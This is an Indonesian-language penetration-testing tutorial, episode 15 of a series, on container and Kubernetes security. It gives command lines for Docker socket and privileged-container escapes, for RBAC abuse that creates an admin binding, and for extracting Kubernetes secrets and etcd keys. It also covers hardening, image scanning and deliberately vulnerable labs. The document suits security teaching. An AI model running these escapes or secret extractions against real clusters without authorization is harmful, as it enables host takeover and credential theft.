Belajar Penetration Tester - Container & Kubernetes Security

#Pendahuluan

Setelah di episode 14 kita mempelajari cloud pentesting — AWS/Azure/GCP misconfiguration dan IAM attacks — pada episode ini kita fokus ke teknologi yang menjadi fondasi modern cloud-native: container dan Kubernetes. Docker dan K8s mengubah cara aplikasi di-deploy, tetapi juga membuka attack surface baru yang signifikan.

Container isolation tidak sekuat VM — satu kerentanan container bisa mengkompromi seluruh host. Kubernetes, sebagai orchestration platform, memiliki konfigurasi keamanan yang kompleks — satu misconfiguration bisa membuka akses ke seluruh cluster.

#Container Security Basics

#Container vs VM

text

VM: Hardware → Hypervisor → Guest OS → App
Container: Hardware → Host OS → Container Runtime → App
 
Isolation: VM lebih kuat (hardware-level)
Attack surface: Container lebih luas (shared kernel)

#Container Escape

Container escape adalah teknik keluar dari container untuk mengakses host:

bash

# Cek privilege container
cat /proc/1/status | grep -i cap
mount | grep -v "proc\|sys\|cgroup\|pts\|shm"
 
# Docker socket mount
ls -la /var/run/docker.sock
# Jika accessible:
docker -H unix:///var/run/docker.sock run -v /:/host -it alpine chroot /host

#Cek Container Privileges

bash

# Running as root?
id
 
# Capabilities
cat /proc/1/status | grep Cap
 
# Seccomp profile
cat /proc/1/status | grep Seccomp
 
# AppArmor
cat /proc/1/attr/current

#Kubernetes Security

#K8s Misconfiguration

bash

# Kubeconfig exposed
ls -la ~/.kube/config
 
# API server exposed
curl -k https://api-server:6443/api/v1/namespaces
 
# Anonymous access
kubectl auth can-i --list --as=system:anonymous

#RBAC Abuse

bash

# Enumerate roles
kubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects != null) | {role: .roleRef.name, subject: .subjects[0].name}'
 
# Check permissions
kubectl auth can-i --list --as=system:serviceaccount:default:compromised-sa
 
# Create admin binding (jika bisa)
kubectl create clusterrolebinding my-admin --clusterrole=admin --user=attacker

#Pod Security & Escape

bash

# List pods
kubectl get pods --all-namespaces
 
# Exec ke pod
kubectl exec -it pod-name -n namespace -- /bin/sh
 
# Host path mount
# Jika pod mount host filesystem:
ls /host
chroot /host

#Secrets Extraction

bash

# List secrets
kubectl get secrets --all-namespaces
 
# Decode secret
kubectl get secret my-secret -o jsonpath='{.data.password}' | base64 -d
 
# Extract from etcd (jika punya akses ke etcd)
ETCDCTL_API=3 etcdctl get / --prefix --keys-only

#Supply Chain Attacks

#Malicious Image

bash

# Cek image source
docker inspect image:tag | jq '.[0].Config.Entrypoint'
 
# Scan image untuk vulnerabilities
trivy image image:tag
 
# Cek untuk backdoor
docker history image:tag

#Dockerfile Vulnerabilities

text

# ❌ Bad: running as root, no multi-stage
FROM ubuntu:latest
RUN apt update && apt install -y curl
COPY . /app
CMD ["python3", "app.py"]
 
# ✅ Better: non-root, multi-stage
FROM python:3.11-slim AS builder
WORKDIR /app
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY . .
 
FROM python:3.11-slim
RUN useradd -r appuser
USER appuser
COPY --from=builder /app /app
CMD ["python3", "app.py"]

Note

Kube-hunter adalah tool khusus untuk scanning vulnerability di Kubernetes clusters. Jalankan dari luar cluster untuk mengidentifikasi misconfiguration dan exposed services.

#Praktik: Container & K8s Lab

#Docker Escape Lab

bash

# Vulnerable container (TryHackMe/DVCA)
docker run --privileged -it alpine
# Di dalam container:
mount /dev/sda1 /mnt
chroot /mnt
# → Akses host

#Kubernetes Lab

bash

# KubeGoat (vulnerable by design)
git clone https://github.com/ine-labs/KubeGoat
cd KubeGoat
kubectl apply -f deployment.yaml
 
# Kube-hunter scan
kube-hunter --remote target-cluster

#Penutup

Inti yang harus dibawa pulang:

Container escape: Docker socket mount, privilege escalation, capability abuse.
K8s misconfiguration: exposed API server, anonymous access, RBAC abuse.
Pod security: exec ke pod, host path mount, secrets extraction.
Supply chain: malicious images, Dockerfile vulnerabilities, image scanning.
Tool utama: Trivy, kube-hunter, kube-bench, Falco.

Di episode 16 selanjutnya, kita akan mempelajari wireless & physical security — Wi-Fi attacks, RFID basics, dan physical assessment.